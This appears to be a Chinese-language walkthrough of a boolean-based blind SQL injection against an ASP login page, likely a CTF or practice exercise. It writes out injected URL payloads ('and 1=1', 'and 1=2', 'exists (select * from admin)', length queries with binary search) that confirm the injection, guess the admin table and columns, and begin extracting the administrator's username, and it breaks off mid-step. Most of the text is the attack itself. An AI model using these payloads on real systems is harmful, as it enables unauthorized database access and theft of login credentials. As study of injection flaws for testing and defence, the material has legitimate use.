随便填入用户名密码,如a a
进入
http://www.666666666666.com/1/ninglulu/23asp.asp?username=a&password=a&userid=1
提示
密码错误
加后缀and 1=1
密码错误
加后缀and 1=2
没有此用户
说明存在数字型注入
因为页面上能判断的只有这两个结果【密码错误】和【没有此用户】,所以接下去我们用这两个来判断true or false
true = 密码错误
false = 没有此用户
然后开始猜测表
and exists (select * from admin)
true!则存在admin表
猜admin的字段
and exists (select id from admin)
最后猜出有三个字段id username password
查看页面源代码可以看到post过去的数据还有一个userid=1,估计对应数据库admin表的id=1那行,可以猜到我们要破解的用户名密码就在这一行
用二分法不断该表红色部分获得username的长度
http://www.666666666666.com/1/ninglulu/23asp.asp?username=a&password=a&userid=1 and (select len(username) from admin where id=1)<4
最后得到
<